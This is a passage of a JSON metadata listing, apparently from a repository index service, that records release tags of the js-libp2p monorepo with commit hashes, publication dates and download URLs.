.1.14","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/fetch-v4.1.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/fetch-v4.1.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@fetch-v4.1.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.1.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.1.14/manifests"},{"name":"echo-v3.1.15","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/echo-v3.1.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/echo-v3.1.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@echo-v3.1.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1.15/manifests"},{"name":"dcutr-v3.0.29","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/dcutr-v3.0.29","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/dcutr-v3.0.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@dcutr-v3.0.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.29/manifests"},{"name":"daemon-v6.0.40","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-v6.0.40","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-v6.0.40","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-v6.0.40","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.40","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.40/manifests"},{"name":"daemon-server-v9.0.40","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-server-v9.0.40","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-server-v9.0.40","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-server-v9.0.40","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.40","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.40/manifests"},{"name":"daemon-protocol-v8.0.12","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-protocol-v8.0.12","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-protocol-v8.0.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-protocol-v8.0.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-protocol-v8.0.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-protocol-v8.0.12/manifests"},{"name":"daemon-client-v10.0.40","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-client-v10.0.40","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-client-v10.0.40","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-client-v10.0.40","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.40","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.40/manifests"},{"name":"crypto-v5.1.24","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/crypto-v5.1.24","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/crypto-v5.1.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@crypto-v5.1.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/crypto-v5.1.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/crypto-v5.1.24/manifests"},{"name":"config-v1.1.38","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/config-v1.1.38","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/config-v1.1.38","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@config-v1.1.38","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/config-v1.1.38","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/config-v1.1.38/manifests"},{"name":"circuit-relay-v2-v4.2.14","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/circuit-relay-v2-v4.2.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/circuit-relay-v2-v4.2.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@circuit-relay-v2-v4.2.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.2.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.2.14/manifests"},{"name":"bootstrap-v12.0.33","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/bootstrap-v12.0.33","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/bootstrap-v12.0.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@bootstrap-v12.0.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.33/manifests"},{"name":"autonat-v3.0.29","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v3.0.29","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v3.0.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v3.0.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.29/manifests"},{"name":"autonat-v2-v2.1.5","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v2-v2.1.5","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v2-v2.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v2-v2.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.1.5/manifests"},{"name":"webtransport-v6.0.40","sha":"2bad1dfb55978973320019d3b81004644b098602","kind":"commit","published_at":"2026-09-23T15:20:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webtransport-v6.0.40","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webtransport-v6.0.40","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webtransport-v6.0.40","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.40","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.40/manifests"},{"name":"webrtc-v6.0.33","sha":"2bad1dfb55978973320019d3b81004644b098602","kind":"commit","published_at":"2026-09-23T15:20:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webrtc-v6.0.33","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webrtc-v6.0.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webrtc-v6.0.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.33/manifests"},{"name":"transport-interop-libp2p-main-v1.0.41","sha":"2bad1dfb55978973320019d3b81004644b098602","kind":"commit","published_at":"2026-09-23T15:20:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/transport-interop-libp2p-main-v1.0.41","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/transport-interop-libp2p-main-v1.0.41","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@transport-interop-libp2p-main-v1.0.41","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.41","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.41/manifests"},{"name":"noise-v17.0.3","sha":"2bad1dfb55978973320019d3b81004644b098602","kind":"commit","published_at":"2026-09-23T15:20:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/noise-v17.0.3","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/noise-v17.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@noise-v17.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/noise-v17.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/noise-v17.0.3/manifests"},{"name":"interop-v14.0.39","sha":"2bad1dfb55978973320019d3b81004644b098602","kind":"commit","published_at":"2026-09-23T15:20:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interop-v14.0.39","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interop-v14.0.39","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interop-v14.0.39","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.39","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.39/manifests"},{"name":"integration-tests-v1.2.24","sha":"2bad1dfb55978973320019d3b81004644b098602","kind":"commit","published_at":"2026-09-23T15:20:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/integration-tests-v1.2.24","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/integration-tests-v1.2.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@integration-tests-v1.2.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.24/manifests"},{"name":"gossipsub-v17.1.2","sha":"2bad1dfb55978973320019d3b81004644b098602","kind":"commit","published_at":"2026-09-23T15:20:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/gossipsub-v17.1.2","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v17.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@gossipsub-v17.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v17.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v17.1.2/manifests"},{"name":"daemon-v6.0.39","sha":"2bad1dfb55978973320019d3b81004644b098602","kind":"commit","published_at":"2026-09-23T15:20:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-v6.0.39","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-v6.0.39","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-v6.0.39","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.39","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.39/manifests"},{"name":"daemon-server-v9.0.39","sha":"2bad1dfb55978973320019d3b81004644b098602","kind":"commit","published_at":"2026-09-23T15:20:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-server-v9.0.39","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-server-v9.0.39","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-server-v9.0.39","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.39","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.39/manifests"},{"name":"daemon-client-v10.0.39","sha":"2bad1dfb55978973320019d3b81004644b098602","kind":"commit","published_at":"2026-09-23T15:20:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-client-v10.0.39","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-client-v10.0.39","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-client-v10.0.39","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.39","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.39/manifests"},{"name":"yamux-v8.0.3","sha":"f494d1bfba887250cfa0bc400f2dd65d83f50ac4","kind":"commit","published_at":"2026-09-02T11:46:30.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/yamux-v8.0.3","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/yamux-v8.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@yamux-v8.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/yamux-v8.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/yamux-v8.0.3/manifests"},{"name":"webtransport-v6.0.39","sha":"f494d1bfba887250cfa0bc400f2dd65d83f50ac4","kind":"commit","published_at":"2026-09-02T11:46:30.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webtransport-v6.0.39","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webtransport-v6.0.39","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webtransport-v6.0.39","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.39","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.39/manifests"},{"name":"webrtc-v6.0.32","sha":"f494d1bfba887250cfa0bc400f2dd65d83f50ac4","kind":"commit","published_at":"2026-09-02T11:46:30.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webrtc-v6.0.32","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webrtc-v6.0.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webrtc-v6.0.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.32/manifests"},{"name":"transport-interop-libp2p-main-v1.0.40","sha":"f494d1bfba887250cfa0bc400f2dd65d83f50ac4","kind":"commit","published_at":"2026-09-02T11:46:30.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/transport-interop-libp2p-main-v1.0.40","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/transport-interop-libp2p-main-v1.0.40","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@transport-interop-libp2p-main-v1.0.40","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.40","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.40/manifests"},{"name":"perf-v5.1.14","sha":"f494d1bfba887250cfa0bc400f2dd65d83f50ac4","kind":"commit","published_at":"2026-09-02T11:46:30.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/perf-v5.1.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/perf-v5.1.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@perf-v5.1.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.14/manifests"},{"name":"noise-v17.0.2","sha":"f494d1bfba887250cfa0bc400f2dd65d83f50ac4","kind":"commit","published_at":"2026-09-02T11:46:30.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/noise-v17.0.2","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/noise-v17.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@noise-v17.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/noise-v17.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/noise-v17.0.2/manifests"},{"name":"mplex-v12.0.32","sha":"f494d1bfba887250cfa0bc400f2dd65d83f50ac4","kind":"commit","published_at":"2026-09-02T11:46:30.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mplex-v12.0.32","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mplex-v12.0.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mplex-v12.0.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.32/manifests"},{"name":"mdns-v12.0.32","sha":"f494d1bfba887250cfa0bc400f2dd65d83f50ac4","kind":"commit","published_at":"2026-09-02T11:46:30.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mdns-v12.0.32","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mdns-v12.0.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mdns-v12.0.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.32/manifests"},{"name":"libp2p-v3.3.11","sha":"f494d1bfba887250cfa0bc400f2dd65d83f50ac4","kind":"commit","published_at":"2026-09-02T11:46:30.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/libp2p-v3.3.11","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/libp2p-v3.3.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@libp2p-v3.3.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.3.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.3.11/manifests"},{"name":"interface-compliance-tests-v7.0.32","sha":"f494d1bfba887250cfa0bc400f2dd65d83f50ac4","kind":"commit","published_at":"2026-09-02T11:46:30.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-compliance-tests-v7.0.32","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-compliance-tests-v7.0.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-compliance-tests-v7.0.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.32/manifests"},{"name":"integration-tests-v1.2.23","sha":"f494d1bfba887250cfa0bc400f2dd65d83f50ac4","kind":"commit","published_at":"2026-09-02T11:46:30.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/integration-tests-v1.2.23","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/integration-tests-v1.2.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@integration-tests-v1.2.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.23/manifests"},{"name":"echo-v3.1.14","sha":"f494d1bfba887250cfa0bc400f2dd65d83f50ac4","kind":"commit","published_at":"2026-09-02T11:46:30.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/echo-v3.1.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/echo-v3.1.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@echo-v3.1.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1.14/manifests"},{"name":"bootstrap-v12.0.32","sha":"f494d1bfba887250cfa0bc400f2dd65d83f50ac4","kind":"commit","published_at":"2026-09-02T11:46:30.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/bootstrap-v12.0.32","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/bootstrap-v12.0.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@bootstrap-v12.0.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.32/manifests"},{"name":"yamux-v8.0.2","sha":"aa8900b369c2c85972e599158e5d7c4ccb865e95","kind":"commit","published_at":"2026-09-02T09:24:38.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/yamux-v8.0.2","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/yamux-v8.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@yamux-v8.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/yamux-v8.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/yamux-v8.0.2/manifests"},{"name":"noise-v17.0.1","sha":"aa8900b369c2c85972e599158e5d7c4ccb865e95","kind":"commit","published_at":"2026-09-02T09:24:38.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/noise-v17.0.1","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/noise-v17.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@noise-v17.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/noise-v17.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/noise-v17.0.1/manifests"},{"name":"noise-v17.0.0","sha":"087e00a8c91c3da258cae5fc3052b1915df7c584","kind":"commit","published_at":"2026-09-02T03:22:41.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/noise-v17.0.0","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/noise-v17.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@noise-v17.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/noise-v17.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/noise-v17.0.0/manifests"},{"name":"webtransport-v6.0.38","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webtransport-v6.0.38","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webtransport-v6.0.38","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webtransport-v6.0.38","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.38","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.38/manifests"},{"name":"websockets-v10.1.21","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/websockets-v10.1.21","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/websockets-v10.1.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@websockets-v10.1.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.21","manifests_url":"https://repos.ecosyste.ms/api/